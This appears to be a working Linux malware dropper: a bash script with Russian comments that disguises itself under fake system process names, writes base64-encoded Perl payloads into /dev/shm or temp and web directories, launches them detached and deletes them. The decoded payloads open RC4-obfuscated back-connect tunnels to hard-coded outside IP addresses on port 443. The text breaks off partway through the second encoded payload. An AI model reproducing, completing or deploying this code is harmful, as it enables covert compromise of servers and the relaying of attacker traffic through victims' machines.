#!/bin/bash # Настройки RESTART_INTERVAL=12200 # Перезапуск цикла каждые 20 минут # Список маскировочных имен (выглядят как системные процессы) REAL_NAMES=( "kworker:u8:0" "php-fpm: pool www" "apache2-handler" "nginx: worker process" "systemd-journald" "rsyslogd" "cron" "dbus-daemon --system" "mysqld_safe" "php-cgi" "sendmail: accepting connections" "gnome-keyring-daemon" ) # Функция выбора случайного имени get_stealth_name() { local size=${#REAL_NAMES[@]} local index=$((RANDOM % size)) # Добавляем точку в начало (скрытый файл) и случайный суффикс, чтобы имена не конфликтовали echo ".${REAL_NAMES[$index]}_$(date +%s)" } # Расширенный поиск доступной для записи директории get_work_dir() { # Приоритет: # 1. /dev/shm (ОЗУ, не оставляет следов на диске) # 2. Текущая папка (.) # 3. Стандартные tmp # 4. Веб-папки (часто доступны для записи пользователю www-data) local paths=( "/dev/shm" "." "/tmp" "/var/tmp" "/var/lock" "/run/lock" "/usr/tmp" "/var/www/html/tmp" "/var/www/tmp" "/var/www/html/upload" "/var/www/upload" "$HOME/tmp" ) for d in "${paths[@]}"; do # Проверка: существует + можно писать + можно исполнять if [ -d "$d" ] && [ -w "$d" ] && [ -x "$d" ]; then echo "$d" return fi done exit 1 # Если писать некуда, тихо умираем } # Декодер decode_payload() { if command -v base64 >/dev/null 2>&1; then base64 -d elif command -v openssl >/dev/null 2>&1; then openssl enc -d -a elif command -v python3 >/dev/null 2>&1; then python3 -c "import sys, base64; sys.stdout.buffer.write(base64.b64decode(sys.stdin.read()))" elif command -v perl >/dev/null 2>&1; then perl -MMIME::Base64 -ne 'print decode_base64($_)' else exit 1; fi } # --------------------------------------------------------------------- # КАСКАДНЫЙ ЗАПУСК # --------------------------------------------------------------------- drop_and_run() { local payload_func=$1 local work_dir local stealth_name work_dir=$(get_work_dir) stealth_name=$(get_stealth_name) # Генерируем "умное" имя local target="$work_dir/$stealth_name" # 1. Распаковка $payload_func | decode_payload > "$target" 2>/dev/null # Если файл записался if [ -s "$target" ]; then chmod +x "$target" # 2. Запуск в subshell с защитой ( launched=0 # --- УРОВЕНЬ 1: setsid (Новая сессия) --- if [ $launched -eq 0 ] && command -v setsid >/dev/null 2>&1; then setsid "$target" >/dev/null 2>&1 & launched=1 fi # --- УРОВЕНЬ 2: nohup (Игнор SIGHUP) --- if [ $launched -eq 0 ] && command -v nohup >/dev/null 2>&1; then nohup "$target" >/dev/null 2>&1 & launched=1 fi # --- УРОВЕНЬ 3: disown (Встроенный в bash) --- if [ $launched -eq 0 ]; then "$target" >/dev/null 2>&1 & # $! - PID последнего запущенного фонового процесса disown -h $! 2>/dev/null || true launched=1 fi # 3. Зачистка sleep 3 # Ждем чуть дольше, чтобы тяжелые бинарники успели прогрузиться в RAM rm -f "$target" ) & fi } # Главный цикл main_loop() { while true; do bin_0() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTknOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_1() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjAnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg 